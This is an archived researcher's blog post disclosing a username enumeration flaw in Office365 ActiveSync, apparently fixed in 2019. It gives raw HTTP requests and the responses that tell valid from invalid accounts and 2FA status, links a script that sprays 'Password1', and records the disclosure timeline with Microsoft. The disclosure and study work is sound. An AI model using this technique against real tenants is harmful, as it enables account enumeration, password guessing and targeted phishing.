Office365 ActiveSync Username Enumeration

Published: 2017-07-24 · Archived: 2026-04-05 21:32:49 UTC

Last updated on 8 April 2020

TLDR:

There is a simple username enumeration issue in Office365's ActiveSync, Microsoft do not consider this a vulnerability so I don't expect they will fix it, I have written a script to exploit this which is available here: https://bitbucket.org/grimhacker/office365userenum

UPDATE: Microsoft appears to have fixed this issue around November 2019.

What is ActiveSync?

Exchange ActiveSync in Microsoft Exchange Server lets Windows Mobile powered devices and other Exchange ActiveSync enabled devices to access Exchange mailbox data. Compatible mobile devices can access e-mail, calendar, contact, and task data in addition to documents stored on Windows SharePoint Services sites and Windows file shares. Information synchronized with the mobile devices is retained and can be accessed offline. [https://technet.microsoft.com/en-us/library/aa995986(v=exchg.65).aspx]

What is username enumeration?

Username enumeration is when an attacker can determine valid users in a system.

When the system reveals a username exists either due to misconfiguration or a design decision a username enumeration issue exists.

This is often identified in authentication interfaces, registration forms, and forgotten password functionality.

The information disclosed by the system can be used to determines a list of users which can then be used in further attacks such as a bruteforce – since the username is known to be correct, only the password needs to be guessed, greatly increasing the chances of successfully compromising an account.

The vulnerability

During the assessment of a 3rd party product which utilises ActiveSync, it was noted that the there was a clear response difference between a valid and invalid usernames submitted in the HTTP Basic Authentication Header.

Further investigation revealed that the issue was in fact in Office365 rather than the 3rd party product which was simply acting as a proxy. The domain for Office365's ActiveSync service is trivial to identify if you have a mobile device configured to use Office365 for email (email app server settings): https://outlook.office365.com

In order to elicit a response from ActiveSync a number of parameters and headers are required, this is described in more detail here: http://mobilitydojo.net/2010/03/17/digging-into-the-exchange-activesync-protocol/

The username enumeration issue exists in the differing response to invalid vs valid usernames submitted in the Authorization header. This request header value consists of the username and password concatenated with a colon (:) separator and Base64 encoded.

The request below contains the following Base64 encoded credentials in the Authorization header: valid_user@contoso.com:Password1

```
OPTIONS /Microsoft-Server-ActiveSync HTTP/1.1
Host: outlook.office365.com
Connection: close
MS-ASProtocolVersion: 14.0
Content-Length: 0
Authorization: Basic dmFsaWRfdXNlckBjb250b3NvLmNvbTpQYXNzd29yZDE=
```

This elicits the following response (“401 Unauthorized”) indicating that the username is valid but the password is not:

```
HTTP/1.1 401 Unauthorized
Content-Length: 1293
Content-Type: text/html
Server: Microsoft-IIS/8.5
request-id: ab308ea5-9a01-4a1a-8d49-b91b3503e83f
X-CalculatedFETarget: LO1P123CU001.internal.outlook.com
X-BackEndHttpStatus: 401
WWW-Authenticate: Basic Realm="",Negotiate,Basic Realm=""
X-FEProxyInfo: LO1P123CA0018.GBRP123.PROD.OUTLOOK.COM
X-CalculatedBETarget: LO1P123MB0899.GBRP123.PROD.OUTLOOK.COM
X-BackEndHttpStatus: 401
X-DiagInfo: LO1P123MB0899
X-BEServer: LO1P123MB0899
X-FEServer: LO1P123CA0018
WWW-Authenticate: Basic Realm=""
X-Powered-By: ASP.NET
X-FEServer: VI1PR0101CA0050
Date: Wed, 14 Jun 2017 14:35:14 GMT
Connection: close
<snip>
```

The request below contains the following Base64 encoded credentials in the Authorization header: invalid_user@contoso.com:Password1

```
OPTIONS /Microsoft-Server-ActiveSync HTTP/1.1
Host: outlook.office365.com
Connection: close
MS-ASProtocolVersion: 14.0
Content-Length: 2
Authorization: Basic aW52YWxpZF91c2VyQGNvbnRvc28uY29tOlBhc3N3b3JkMQ==
```

This elicits the following response (“404 Not Found” and “X-CasErrorCode: UserNotFound”)indicating that the username is invalid:

```
HTTP/1.1 404 Not Found
Cache-Control: private
Server: Microsoft-IIS/8.5
request-id: 6fc1ee3a-ec99-4210-8a4c-12967a4639fc
X-CasErrorCode: UserNotFound
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
X-FEServer: HE1PR05CA0220
Date: Wed, 28 Jun 2017 11:23:03 GMT
Connection: close
Content-Length: 0
```

By iterating through a list of potential usernames and observing the response, it is possible to enumerate a list of valid users which can then be targeted for further attacks. These attacks may be directly against the authentication, i.e attempting to guess the user’s password to compromise their account, or it may be as part of a social engineering attack e.g sending Phishing emails to known valid users.

It should be noted that this issues requires an authentication attempt and is therefore likely to appear in logs, and has a risk of locking out accounts. However it is also possible that a valid username and password combination will be identified, in which case the response is different depending on if 2FA is enabled or not.

If 2FA is enabled the response is (“403 Forbidden” with title “403 – Forbidden: Access is denied.”):

```
HTTP/1.1 403 Forbidden
Cache-Control: private
Content-Length: 1233
Content-Type: text/html
Server: Microsoft-IIS/8.5
request-id: 4095f6fa-5151-4699-9ea1-0ddf0cfab897
X-CalculatedBETarget: MM1P123MB0842.GBRP123.PROD.OUTLOOK.COM
X-BackEndHttpStatus: 403
Set-Cookie: <snip>
X-MS-Credentials-Expire: 4
X-MS-Credential-Service-Federated: false
X-MS-Credential-Service-Url: https://portal.microsoftonline.com/ChangePassword.aspx
```

```
X-MS-BackOffDuration: L/-480
X-AspNet-Version: 4.0.30319
X-DiagInfo: MM1P123MB0842
X-BEServer: MM1P123MB0842
X-Powered-By: ASP.NET
X-FEServer: DB6PR07CA0008
Date: Fri, 07 Jul 2017 13:11:22 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-str
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/>
<title>403 - Forbidden: Access is denied.</title>
<--snip-->
```

If 2FA is NOT enabled the response is (“200 OK”):

```
HTTP/1.1 200 OK
Cache-Control: private
Allow: OPTIONS,POST
Content-Length: 0
Content-Type: application/vnd.ms-sync.wbxml
Server: Microsoft-IIS/8.5
request-id: da269652-6e98-4b49-8f14-ab57e7232b17
X-CalculatedFETarget: MMXP123CU001.internal.outlook.com
X-BackEndHttpStatus: 200
X-FEProxyInfo: MMXP123CA0005.GBRP123.PROD.OUTLOOK.COM
X-CalculatedBETarget: MMXP123MB0750.GBRP123.PROD.OUTLOOK.COM
X-BackEndHttpStatus: 200
MS-Server-ActiveSync: 15.1
MS-ASProtocolVersions: 2.0,2.1,2.5,12.0,12.1,14.0,14.1,16.0,16.1
MS-ASProtocolCommands: Sync,SendMail,SmartForward,SmartReply,GetAttachment,GetHierarchy,CreateCollec
Public: OPTIONS,POST
X-MS-BackOffDuration: L/-470
X-AspNet-Version: 4.0.30319
X-DiagInfo: MMXP123MB0750
X-BEServer: MMXP123MB0750
X-FEServer: MMXP123CA0005
X-Powered-By: ASP.NET
X-FEServer: AM5P190CA0027
Date: Mon, 24 Jul 2017 09:50:22 GMT
Connection: close
```

It should be noted that only users with a valid mailbox are considered to be valid users in this context, therefore a domain account may exist which this enumeration would identify as invalid.

I also checked if this issue affected Microsoft Exchange, or if it was limited to Office365. In my testing I found that only Office365 was affected. I reported this issue to Microsoft, however they do not consider username enumeration to "meet the bar for security servicing", so I do not expect they will fix this issue.

My continuing mission to replace myself with a small script

In order to automate exploitation of this issue I wrote a simple multi threaded python script. It is available here: https://bitbucket.org/grimhacker/office365userenum

When provided a list of potential usernames (username@domain) this script will attempt to authenticate to ActiveSync with the password 'Password1'. Valid and invalid usernames are logged along with valid username and password combinations (in case you get lucky).

Disclose Timeline

28 June 2017, 13:30: Emailed secure@microsoft.com with a PGP encrypted PDF explaining issue with example HTTP requests and responses.

28 June 2017, 22:39: Response from Microsoft (note only relevant section of email included below)

"Thank you for contacting the Microsoft Security Response Center (MSRC). Upon investigation we have determined that these do not meet the bar for security servicing. In general, username enumeration does not meet the bar as there are many ways to do this and on its own it does not allow an attacker access or control in any way, as the attacker would still need to bypass login."

29 June 2017, 09:54: Emailed Microsoft stating intention to disclose in a blog post unless they had any serious objections.

24 July 2017: Details and tool disclosed to the public.

Update: **~November 2019**: Microsoft silently fix the vulnerability.

Although I do not agree with Microsoft's determination that username enumeration is not a security vulnerability, I would like to thank them again for their speedy investigation and response to my report.
